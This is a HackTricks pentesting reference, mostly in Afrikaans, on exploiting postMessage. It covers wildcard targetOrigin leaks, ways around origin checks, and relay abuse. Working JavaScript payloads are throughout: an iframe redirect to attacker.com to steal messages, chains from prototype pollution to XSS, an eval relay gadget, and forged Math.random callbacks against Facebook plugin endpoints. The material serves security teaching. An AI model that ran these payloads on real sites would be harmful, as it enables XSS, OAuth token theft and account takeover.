PostMessage Kwesbaarhede

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Stuur PostMessage

PostMessage gebruik die volgende funksie om ’n boodskap te stuur:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Let wel dat targetOrigin ’n ‘*’ of ’n URL soos https://company.com. kan wees.
In die tweede scenario kan die boodskap slegs na daardie domein gestuur word (selfs al is die origin van die Window object anders).
As die wildcard gebruik word, boodskappe na enige domein gestuur kan word, en sal dit na die origin van die Window object gestuur word.

Aanval op iframe & wildcard in targetOrigin

Soos verduidelik in this report, as jy ’n bladsy vind wat iframed kan word (geen X-Frame-Header beskerming nie) en wat sensitiewe boodskap via postMessage stuur met ’n wildcard (*), kan jy die origin van die iframe wysig en die sensitiewe boodskap leak na ’n domein wat deur jou beheer word.
Neem kennis dat as die bladsy iframed kan word maar die targetOrigin op ’n URL gestel is en nie op ’n wildcard nie, sal hierdie truuk nie werk nie.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener exploitation

addEventListener is die funksie wat deur JS gebruik word om die funksie te verklaar wat postMessages verwag.
’n kode soortgelyk aan die volgende sal gebruik word:

window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn’t check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).

Enumeration

In order to find event listeners in the current page you can:

  • Search the JS code for window.addEventListener and $(window).on (JQuery version)
  • Execute in the developer tools console: getEventListeners(window)

  • Go to Elements –> Event Listeners in the developer tools of the browser

Origin check bypasses

  • event.isTrusted attribute is considered secure as it returns True only for events that are generated by genuine user actions. Though it’s challenging to bypass if implemented correctly, its significance in security checks is notable.
  • The use of indexOf() for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • The search() method from String.prototype.search() is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • The match() function, similar to search(), processes regex. If the regex is improperly structured, it might be prone to bypassing.

  • The escapeHtml function is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledge hasOwnProperty, the escapeHtml won’t perform as expected. This is demonstrated in the examples below:

  • Expected Failure:

result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • Bypassing the escape:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

In the context of this vulnerability, the File object is notably exploitable due to its read-only name property. This property, when used in templates, is not sanitized by the escapeHtml function, leading to potential security risks.

  • The document.domain property in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.

Origin-only trust + trusted relays

If a receiver only checks event.origin (e.g., trusts any *.trusted.com) you can often find a “relay” page on that origin that echoes attacker-controlled params via postMessage to a supplied targetOrigin/targetWindow. Examples include marketing/analytics gadgets that take query params and forward {msg_type, access_token, ...} to opener/parent. You can:

  • Open the victim page in a popup/iframe that has an opener so its handlers register (many pixels/SDKs only attach listeners when window.opener exists).
  • Navigate another attacker window to the relay endpoint on the trusted origin, populating message fields you want injected (message type, tokens, nonces).
  • Because the message now comes from the trusted origin, origin-only validation passes and you can trigger privileged behaviors (state changes, API calls, DOM writes) in the victim listener.

Abuse patterns seen in the wild:

  • Analytics SDKs (e.g., pixel/fbevents-style) consume messages like FACEBOOK_IWL_BOOTSTRAP, then call backend APIs using a token supplied in the message and include location.href / document.referrer in the request body. If you supply your own token, you can read these requests in the token’s request history/logs and exfil OAuth codes/tokens present in the URL/referrer of the victim page.
  • Any relay that reflects arbitrary fields into postMessage lets you spoof message types expected by privileged listeners. Combine with weak input validation to reach Graph/REST calls, feature unlocks, or CSRF-equivalent flows.

Hunting tips: enumerate postMessage listeners that only check event.origin, then look for same-origin HTML/JS endpoints that forward URL params via postMessage (marketing previews, login popups, OAuth error pages). Stitch both together with window.open() + postMessage to bypass origin checks.

e.origin == window.origin bypass

When embedding a web page within a sandboxed iframe using %%%%%%, it’s crucial to understand that the iframe’s origin will be set to null. This is particularly important when dealing with sandbox attributes and their implications on security and functionality.

By specifying allow-popups in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the allow-popups-to-escape-sandbox attribute is also included, the popup window’s origin is similarly set to null, aligning with the iframe’s origin.

Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using postMessage, both the sending and receiving ends have their origins set to null. This situation leads to a scenario where e.origin == window.origin evaluates to true (null == null), because both the iframe and the popup share the same origin value of null.

For more information read:

Bypassing SOP with Iframes - 1

Bypassing e.source

It’s possible to check if the message came from the same window the script is listening in (specially interesting for Content Scripts from browser extensions to check if the message was sent from the same page):

// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

Jy kan die e.source van ’n boodskap dwing om null te wees deur ’n iframe te skep wat die postMessage stuur en onmiddellik verwyder word.

Vir meer inligting lees:

Bypassing SOP with Iframes - 2

X-Frame-Header bypass

Om hierdie aanvalle uit te voer behoort jy ideaal die sit die slagoffer-webblad binne ’n iframe te plaas. Maar sekere headers soos X-Frame-Header kan daardie gedrag voorkom.
In daardie scenario’s kan jy steeds ’n minder subtiele aanval gebruik. Jy kan ’n nuwe tabblad na die kwesbare webtoepassing oopmaak en daarmee kommunikeer:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Steel boodskap wat aan child gestuur is deur die main bladsy te blokkeer

Op die volgende bladsy kan jy sien hoe jy ’n sensitiewe postmessage data wat aan ’n child iframe gestuur is, kan steel deur die main bladsy te blokkeer voordat die data gestuur word en ’n XSS in die child te misbruik om die data te leak voordat dit ontvang word:

Blocking main page to steal postmessage

Steel boodskap deur iframe-ligging te verander

As jy ’n webblad kan iframe sonder ’n X-Frame-Header wat ’n ander iframe bevat, kan jy die location van daardie child iframe verander. As dit ’n postmessage ontvang wat met ’n wildcard gestuur is, kan ’n aanvaller daardie iframe se origin na ’n bladsy wat deur hom controlled word verander en die boodskap steel:

Steal postmessage modifying iframe location

postMessage na Prototype Pollution en/of XSS

In scenario’s waar die data wat deur postMessage gestuur word deur JS uitgevoer word, kan jy die bladsy in ’n iframe laai en die prototype pollution/XSS uitbuit deur die exploit via postMessage te stuur.

’n Paar baie goed verduidelike XSS-voorbeeld(e) deur postMessage kan gevind word by https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Voorbeeld van ’n exploit om Prototype Pollution en dan XSS te misbruik deur ’n postMessage na ’n iframe te stuur:

<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

Vir meer inligting:

Oorsprong-afgeleide skriplading & voorsieningsketting-verskuiwing (CAPIG gevallestudie)

capig-events.js het slegs ’n message handler geregistreer toe window.opener bestaan het. By IWL_BOOTSTRAP het dit pixel_id gekontroleer maar event.origin gestoor en later gebruik om ${host}/sdk/${pixel_id}/iwl.js te bou.

Handler writing attacker-controlled origin ```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```

Exploit (origin → script-src pivot):

  1. Kry ’n opener: bv., in Facebook Android WebView hergebruik window.name met window.open(target, name) sodat die venster sy eie opener word, en stuur dan ’n boodskap vanaf ’n kwaadwillige iframe.
  2. Stuur IWL_BOOTSTRAP vanaf enige origin om host = event.origin in localStorage te bewaar.
  3. Host /sdk/<pixel_id>/iwl.js op enige CSP-toegelate origin (takeover/XSS/upload op ’n whitelisted analytics domain). startIWL() laai dan attacker JS in die embedding site (bv., www.meta.com), wat credentialed cross-origin calls en account takeover moontlik maak.

As direkte opener-beheer onmoontlik was, het kompromittering van ’n third-party iframe op die bladsy steeds toegelaat om die gemaakte postMessage na die parent te stuur om die gestoor host te vergiftig en die script-laai af te dwing.

Backend-generated shared script → stored XSS: die plugin AHPixelIWLParametersPlugin het user rule parameters aaneen gekoppel in JS wat by capig-events.js aangeheg is (bv., cbq.config.set(...)). Deur breakouts soos "]} in te spuit is arbitraire JS ingesit, wat ’n stored XSS geskep het in die shared script wat aan alle sites wat dit laai bedien is.

Trusted-origin allowlist isn’t a boundary

’n streng event.origin-kontrole werk slegs as die trusted origin nie attacker JS kan uitvoer nie. Wanneer privileged pages third-party iframes embed en aanvaar dat event.origin === "https://partner.com" veilig is, word enige XSS in partner.com ’n brug na die parent:

// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})

Aanvalspatroon wat in die wild waargeneem is:

  1. Exploit XSS in the partner iframe en drop ’n relay gadget sodat enige postMessage code exec binne die vertroude origin word:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
  1. From the attacker page, stuur JS na die compromised iframe wat ’n allowed message type terug na die parent deurstuur. Die message kom van partner.com, slaag die allowlist, en dra HTML wat onveilig ingevoeg word:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
  1. Die parent injecteer die aanvaller se HTML, wat JS execution in the parent origin (bv. facebook.com) moontlik maak, en wat dan gebruik kan word om OAuth-kodes te steel of te pivot na volledige account takeover flows.

Key takeaways:

  • Partner origin isn’t a boundary: enige XSS in ’n “trusted” partner laat aanvallers toe om toegelate messages te stuur wat event.origin checks omseil.
  • Handlers wat render partner-controlled payloads (bv. innerHTML op spesifieke message types) verander ’n partner kompromissie in ’n same-origin DOM XSS.
  • ’n Breë message surface (baie types, geen struktuurvalidasie) gee meer gadgets vir pivoting sodra ’n partner iframe gekompromitteer is.

Predicting Math.random() callback tokens in postMessage bridges

Wanneer message validation ’n “shared secret” gebruik wat met Math.random() gegenereer is (bv. guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) en dieselfde helper ook plugin iframes benoem, kan jy PRNG outputs recover en vertroude messages forge:

  • Leak PRNG outputs via window.name: Die SDK auto-names plugin iframes met guid(). As jy die top frame beheer, iframe die victim page, navigeer dan die plugin iframe na jou origin (bv. window.frames[0].frames[0].location='https://attacker.com') en lees window.frames[0].frames[0].name om ’n rou Math.random() output te kry.
  • Force more outputs without reloads: Sommige SDKs bied ’n reinit-pad; in die FB SDK dwing die firing van init:post met {xfbml:1} XFBML.parse() af, vernietig/herskepping die plugin iframe en genereer nuwe names/callback IDs. Herhaalde reinit produseer soveel PRNG outputs as benodig (let op ekstra interne Math.random() calls vir callback/iframe IDs, dus solvers moet tussenliggende waardes oorslaan).
  • Trusted-origin delivery via parameter pollution: As ’n first-party plugin endpoint ’n unsanitized parameter in die cross-window payload reflekteer (bv. /plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), kan jy &type=...&iconSVG=... injekteer terwyl die vertroude facebook.com origin bewaar word.
  • Predict the next callback: Skakel leaked iframe names terug na floats in [0,1) en voer verskeie waardes (selfs nie-opeenvolgend nie) in ’n V8 Math.random predictor (bv. Z3-based). Genereer die volgende guid() plaaslik om die verwagte callback token te forge.
  • Trigger the sink: Skep die postMessage data sodat die bridge xd.mpn.setupIconIframe dispatch en HTML in iconSVG injekteer (bv. URL-geënkodeerde <img src=x onerror=...>), wat DOM XSS binne die hosting origin bewerkstellig; van daar af kan same-origin iframes (OAuth dialogs, arbiters, ens.) gelees word.
  • Framing quirks help: Die ketting vereis framing. In sekere mobile webviews kan X-Frame-Options degradeer na ongeondersteunde ALLOW-FROM wanneer frame-ancestors teenwoordig is, en “compat” parameters kan permissiewe frame-ancestors afdwing, wat die window.name side channel moontlik maak.

Minimal forged message example

// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks